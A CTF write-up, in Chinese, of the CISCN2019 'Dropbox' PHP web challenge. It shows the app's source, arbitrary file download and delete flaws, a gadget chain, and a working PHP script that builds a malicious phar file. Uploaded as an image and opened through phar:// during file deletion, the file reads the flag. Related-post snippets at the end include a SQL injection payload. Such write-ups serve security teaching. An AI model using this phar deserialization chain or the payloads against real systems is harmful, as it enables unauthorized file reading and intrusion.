首页 > 其他分享 >WEB|[CISCN2019 华北赛区 Day1 Web1]Dropbox

WEB|[CISCN2019 华北赛区 Day1 Web1]Dropbox

时间:2023-05-06 15:55:29浏览次数:53  
标签:username WEB phar filename Web1 file array Day1 public


注册帐号登录

存在文件上传点,抓包上传文件,修改Content-Type后可以上传代码文件,但是后缀会变为图片后缀

上传文件后有文件下载功能

抓包发现filename直接曝露在内容中,试试下载其他文件,发现存在任意文件下载漏洞

将已知文件都下载下来

文件源码

login.php

<?php
session_start();
if (isset($_SESSION['login'])) {
    header("Location: index.php");
    die();
}
?>

<!doctype html>

<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <meta name="description" content="">
  <title>登录</title>

  <!-- Bootstrap core CSS -->
  <link href="static/css/bootstrap.min.css" rel="stylesheet">


  <style>
    .bd-placeholder-img {
      font-size: 1.125rem;
      text-anchor: middle;
    }

    @media (min-width: 768px) {
      .bd-placeholder-img-lg {
        font-size: 3.5rem;
      }
    }
  </style>
  <!-- Custom styles for this template -->
  <link href="static/css/std.css" rel="stylesheet">
</head>

<body class="text-center">
  <form class="form-signin" action="login.php" method="POST">
    <h1 class="h3 mb-3 font-weight-normal">登录</h1>
    <label for="username" class="sr-only">Username</label>
    <input type="text" name="username" class="form-control" placeholder="Username" required autofocus>
    <label for="password" class="sr-only">Password</label>
    <input type="password" name="password" class="form-control" placeholder="Password" required>
    <button class="btn btn-lg btn-primary btn-block" type="submit">提交</button>
    <p class="mt-5 text-muted">还没有账号? <a href="register.php">注册</a></p>
    <p class="text-muted">&copy; 2018-2019</p>
  </form>
  <div class="top" id="toast-container"></div>
</body>

<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
</html>


<?php
include "class.php";

if (isset($_GET['register'])) {
    echo "<script>toast('注册成功', 'info');</script>";
}

if (isset($_POST["username"]) && isset($_POST["password"])) {
    $u = new User();
    $username = (string) $_POST["username"];
    $password = (string) $_POST["password"];
    if (strlen($username) < 20 && $u->verify_user($username, $password)) {
        $_SESSION['login'] = true;
        $_SESSION['username'] = htmlentities($username);
        $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
        if (!is_dir($sandbox)) {
            mkdir($sandbox);
        }
        $_SESSION['sandbox'] = $sandbox;
        echo("<script>window.location.href='index.php';</script>");
        die();
    }
    echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>

delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

delete.php单纯的文件删除功能,存在任意文件删除

download.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

download.php文件可以下载任意文件,但是限制了flag字符,所以不能下载flag文件

index.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>


<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>

<head>
    <link href="static/css/bootstrap.min.css" rel="stylesheet">
    <link href="static/css/panel.css" rel="stylesheet">
    <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    <script src="static/js/panel.js"></script>
</head>

<body>
    <nav aria-label="breadcrumb">
    <ol class="breadcrumb">
        <li class="breadcrumb-item active">管理面板</li>
        <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
        <li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
    </ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

upload.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

include "class.php";

if (isset($_FILES["file"])) {
    $filename = $_FILES["file"]["name"];
    $pos = strrpos($filename, ".");
    if ($pos !== false) {
        $filename = substr($filename, 0, $pos);
    }
    
    $fileext = ".gif";
    switch ($_FILES["file"]["type"]) {
        case 'image/gif':
            $fileext = ".gif";
            break;
        case 'image/jpeg':
            $fileext = ".jpg";
            break;
        case 'image/png':
            $fileext = ".png";
            break;
        default:
            $response = array("success" => false, "error" => "Only gif/jpg/png allowed");
            Header("Content-type: application/json");
            echo json_encode($response);
            die();
    }

    if (strlen($filename) < 40 && strlen($filename) !== 0) {
        $dst = $_SESSION['sandbox'] . $filename . $fileext;
        move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
        $response = array("success" => true, "error" => "");
        Header("Content-type: application/json");
        echo json_encode($response);
    } else {
        $response = array("success" => false, "error" => "Invaild filename");
        Header("Content-type: application/json");
        echo json_encode($response);
    }
}
?>

upload.php限制了文件上传的类型,并且会根据content-type修改后缀

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
   public $db;

   public function __construct() {
       global $db;
       $this->db = $db;
   }

   public function user_exist($username) {
       $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
       $stmt->bind_param("s", $username);
       $stmt->execute();
       $stmt->store_result();
       $count = $stmt->num_rows;
       if ($count === 0) {
           return false;
       }
       return true;
   }

   public function add_user($username, $password) {
       if ($this->user_exist($username)) {
           return false;
       }
       $password = sha1($password . "SiAchGHmFx");
       $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
       $stmt->bind_param("ss", $username, $password);
       $stmt->execute();
       return true;
   }

   public function verify_user($username, $password) {
       if (!$this->user_exist($username)) {
           return false;
       }
       $password = sha1($password . "SiAchGHmFx");
       $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
       $stmt->bind_param("s", $username);
       $stmt->execute();
       $stmt->bind_result($expect);
       $stmt->fetch();
       if (isset($expect) && $expect === $password) {
           return true;
       }
       return false;
   }

   public function __destruct() {
       $this->db->close();
   }
}

class FileList {
   private $files;
   private $results;
   private $funcs;

   public function __construct($path) {
       $this->files = array();
       $this->results = array();
       $this->funcs = array();
       $filenames = scandir($path);

       $key = array_search(".", $filenames);
       unset($filenames[$key]);
       $key = array_search("..", $filenames);
       unset($filenames[$key]);

       foreach ($filenames as $filename) {
           $file = new File();
           $file->open($path . $filename);
           array_push($this->files, $file);
           $this->results[$file->name()] = array();
       }
   }

   public function __call($func, $args) {
       array_push($this->funcs, $func);
       foreach ($this->files as $file) {
           $this->results[$file->name()][$func] = $file->$func();
       }
   }

   public function __destruct() {
       $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
       $table .= '<thead><tr>';
       foreach ($this->funcs as $func) {
           $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
       }
       $table .= '<th scope="col" class="text-center">Opt</th>';
       $table .= '</thead><tbody>';
       foreach ($this->results as $filename => $result) {
           $table .= '<tr>';
           foreach ($result as $func => $value) {
               $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
           }
           $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
           $table .= '</tr>';
       }
       echo $table;
   }
}

class File {
   public $filename;

   public function open($filename) {
       $this->filename = $filename;
       if (file_exists($filename) && !is_dir($filename)) {
           return true;
       } else {
           return false;
       }
   }

   public function name() {
       return basename($this->filename);
   }

   public function size() {
       $size = filesize($this->filename);
       $units = array(' B', ' KB', ' MB', ' GB', ' TB');
       for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
       return round($size, 2).$units[$i];
   }

   public function detele() {
       unlink($this->filename);
   }

   public function close() {
       return file_get_contents($this->filename);
   }
}
?>

可以看到File类中存在close方法,close方法会调用file_get_contents可以利用其读取flag文件,user类中的__destruct()又会调用close方法,__destruct()是魔术方法会在类的一个对象被删除时自动调用,至此已经可以读取到flag文件,但是还需要回显出来

BUUCTF [CISCN2019 华北赛区 Day1 Web1]Dropbox 1
由FileList对象销毁时自动调用的魔术方法 __destruct()实现,里面输出了$table变量,$table变量里有成员变量存有刚刚读出flag.txt的信息。

# 精简了下创建时自动调用的魔术方法__construct
public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);#返回我们上传文件的所有文件名

        foreach ($filenames as $filename) {
            $file = new File();
            array_push($this->files, $file);# 把File对象加入到files数组
            $this->results[$file->name()] = array(); #results 是个数组,保存以我们上传的文件名作为键值,每个文件名键值映射一个数组。
            (这个数组在__call方法里存放调用不存在的方法后的结果。)
            具体看前文的__call方法代码的注释
        }
    }

$filename对应我们上传的文件名,$result(一维数组)对应文件下所有调用不存在方法的结果(即成员变量$results的第二维),$value对应单个结果的具体值。所以根据__add最后一行的$this->results[$file->name()][$func] = $file->$func();。$value可以存放读取flag.txt的结果。

phar伪协议引起的反序列化漏洞

构造好了利用链但是没有输入点,这里就可以使用phar伪协议,phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分,这部分还会以序列化的形式存储用户自定义的meta-data。
phar伪协议引起的反序列化漏洞利用条件:

  • phar文件要能够上传到服务器端:如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
  • 要有可用的魔术方法作为“跳板”。
  • 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

利用方法:
写一个生成phar的php文件,运行php文件生成phar.phar,修改后缀为jpg,上传到服务器,然后利用file_get_contents,使用phar://执行代码
脚本:

<?php

class User {
    public $db;
}

class File {
    public $filename;
}
class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct() {
        $file = new File();
        $file->filename = '/flag.txt';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}

@unlink("phar.phar");#删除phar.phar
$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new User();
$o->db = new FileList();

$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

上传文件,修改content-type

点击删除抓包,执行phar://代码,获得flag

因为要调用__construct() 所以只能用到删除功能

flag{6c22dd25-f7f0-4e16-9789-765987b748e9}

参考文章:
初探phar://
BUUCTF [CISCN2019 华北赛区 Day1 Web1]Dropbox 1

标签:username,WEB,phar,filename,Web1,file,array,Day1,public
From: https://www.cnblogs.com/scarecr0w7/p/17377290.html

相关文章

  • WEB|[GYCTF2020]Ezsqli
    页面只有一个输入框,并且题目提示为SQL注入输入1输入2输入3输入1、2和3输出的内容不同,所以判断为布尔注入判断数据库长度为21,确认为布尔注入依次匹配字符,匹配成功返回输入1的页面,否则显示输入2的页面payload:id=if(length(database())=21,1,2)爆数据库名id=if(sub......
  • WEB|[GWCTF 2019]枯燥的抽奖
    页面提示需要输入以lw1ar7AWmn开头的20位字符串才能获得flag,查看页面源码发现check.php访问check.php,发现源码伪随机数mt_srand($_SESSION['seed']);$str_long1="abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";$str='';$len1=20;for($i=0;$i......
  • APP和WEB的测试区别
    在功能测试时,要考虑手机应用的特性:1)手机屏幕尺寸偏小,所以手机应用一般就占满了全屏,因此要考虑手机在前后端切换时被测试应用在资源使用时的优先级变化情况;还要考虑手机横竖屏切换时的测试2)手机是智能移动终端,因此要考虑网络运营商、网络信号强弱、网络信号有无、被测试应用在低电......
  • WEB|[FBCTF2019]RCEService
    页面提示输入json格式的命令{"cmd":"ls"}输入ls命令查看当前目录文件,当前目录仅有index.php文件读取index.php文件,发现被检测到{"cmd":"cat./index.php"}经过测试发现很多命令和符号都被过滤,自己是没有做出来,在看别人的wp时发现他们不知道从哪里找到的源码源码<?ph......
  • WEB|[极客大挑战 2019]RCE ME
    <?phperror_reporting(0);if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("ThisistooLong.");......
  • WEB|[极客大挑战 2019]FinalSQL
    提示点击获取flag,依次点击可以发现注入点应该是在id,id=5提示试试id=6id=6也没有什么特殊内容,对id进行了简单测试,发现存在过滤,fuzz一下,发现对if、and、空格和()等部分符号进行了过滤过滤字符可使用其他字符绕过,页面存在盲注入,存在非法字符提示“你可别被我逮住了,臭弟弟”,输入......
  • WEB|[红明谷CTF 2021]write_shell
    源码:<?phperror_reporting(0);highlight_file(__FILE__);functioncheck($input){#过滤字符if(preg_match("/'||_|php|;|~|\\^|\\+|eval|{|}/i",$input)){//if(preg_match("/'||_|=|php/",$input)){die(......
  • WEB|[NPUCTF2020]ReadlezPHP
    打开网页发现什么都没有,burpsuite抓包查看源码发现链接./time.php?source,访问链接发现源码<?php#error_reporting(0);classHelloPhp{public$a;public$b;publicfunction__construct(){$this->a="Y-m-dh:i:s";$this->b="date&qu......
  • WEB|[NCTF2019]True XML cookbook
    题目提示XML,直接抓包注入XML<?xmlversion="1.0"?><!DOCTYPElkj[<!ENTITYadminSYSTEM"file:///flag">]><user> <username>&admin;</username> <password>1</password></user>读取失败修改......
  • WEB|[MRCTF2020]套娃
    查看网页源码发现代码$query=$_SERVER['QUERY_STRING'];if(substr_count($query,'_')!==0||substr_count($query,'%5f')!=0){die('Y0uareSocutE!');}if($_GET['b_u_p_t']!=='23333'&&am......